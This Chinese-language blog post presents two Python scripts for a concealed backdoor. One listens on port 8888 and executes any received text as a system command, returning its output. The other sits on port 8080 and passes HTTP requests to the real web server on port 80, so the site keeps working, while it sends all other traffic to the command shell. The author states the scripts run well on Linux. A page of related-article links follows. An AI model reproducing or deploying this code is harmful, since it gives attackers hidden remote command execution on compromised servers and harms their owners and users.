python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现字典按照value进行排序的方法分析
Dec 23 Python
python3.6.3+opencv3.3.0实现动态人脸捕获
May 25 Python
python之cv2与图像的载入、显示和保存实例
Dec 05 Python
详解pandas数据合并与重塑(pd.concat篇)
Jul 09 Python
Python下应用opencv 实现人脸检测功能
Oct 24 Python
使用python的turtle绘画滑稽脸实例
Nov 21 Python
Python zip函数打包元素实例解析
Dec 11 Python
python 截取XML中bndbox的坐标中的图像,另存为jpg的实例
Mar 10 Python
Django自关联实现多级联动查询实例
May 19 Python
新手学python应该下哪个版本
Jun 11 Python
python opencv角点检测连线功能的实现代码
Nov 24 Python
Python中rapidjson参数校验实现
Jul 25 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
php递归获取目录内文件(包含子目录)封装类分享
2013/12/25 PHP
ThinkPHP连接Oracle数据库
2016/04/22 PHP
php 流程控制switch的简单实例
2016/06/07 PHP
PHP中FTP相关函数小结
2016/07/15 PHP
Javascript 阻止javascript事件冒泡,获取控件ID值
2009/06/27 Javascript
js 延迟加载 改变JS的位置加快网页加载速度
2012/12/11 Javascript
JavaScript表单通过正则表达式验证电话号码
2014/03/14 Javascript
js 去除字符串第一位逗号的方法
2014/06/07 Javascript
jQuery实现table隔行换色和鼠标经过变色的两种方法
2014/06/15 Javascript
IE下通过a实现location.href 获取referer的值
2014/09/04 Javascript
jQuery实现有动画淡出效果的二级折叠菜单代码
2015/10/17 Javascript
JavaScript中解决多浏览器兼容性23个问题的快速解决方法
2016/05/19 Javascript
JS根据生日月份和日期计算星座的简单实现方法
2016/11/24 Javascript
Jquery Easyui自定义下拉框组件使用详解(21)
2020/12/31 Javascript
JavaScript仿支付宝6位数字密码输入框
2016/12/29 Javascript
prototype与__proto__区别详细介绍
2017/01/09 Javascript
Bootstrap输入框组件简单实现代码
2017/03/06 Javascript
jQuery中animate()的使用方法及解决$(”body“).animate({“scrollTop”:top})不被Firefox支持的问题
2017/04/04 jQuery
详解webpack 入门总结和实践(按需异步加载,css单独打包,生成多个入口文件)
2017/06/20 Javascript
详解用vue.js和laravel实现微信支付
2017/06/23 Javascript
element-ui组件中input等的change事件中传递自定义参数
2019/05/22 Javascript
小程序实现录音上传功能
2019/11/22 Javascript
详解如何在JS代码中消灭for循环
2019/12/11 Javascript
小程序分享链接onShareAppMessage的具体用法
2020/05/22 Javascript
Python3 能振兴 Python的原因分析
2014/11/28 Python
10款最好的Web开发的 Python 框架
2015/03/18 Python
解决Pycharm 导入其他文件夹源码的2种方法
2020/02/12 Python
python实现的分层随机抽样案例
2020/02/25 Python
总经理工作职责范文
2014/03/14 职场文书
阳光体育活动实施方案
2014/05/25 职场文书
模具设计与制造专业自荐书
2014/07/01 职场文书
管理工程专业求职信
2014/08/10 职场文书
查摆问题对照检查材料
2014/08/28 职场文书
超市仓管员岗位职责范本
2014/09/18 职场文书
2019销售早会主持词
2019/06/27 职场文书
MySQL如何快速创建800w条测试数据表
2022/03/17 MySQL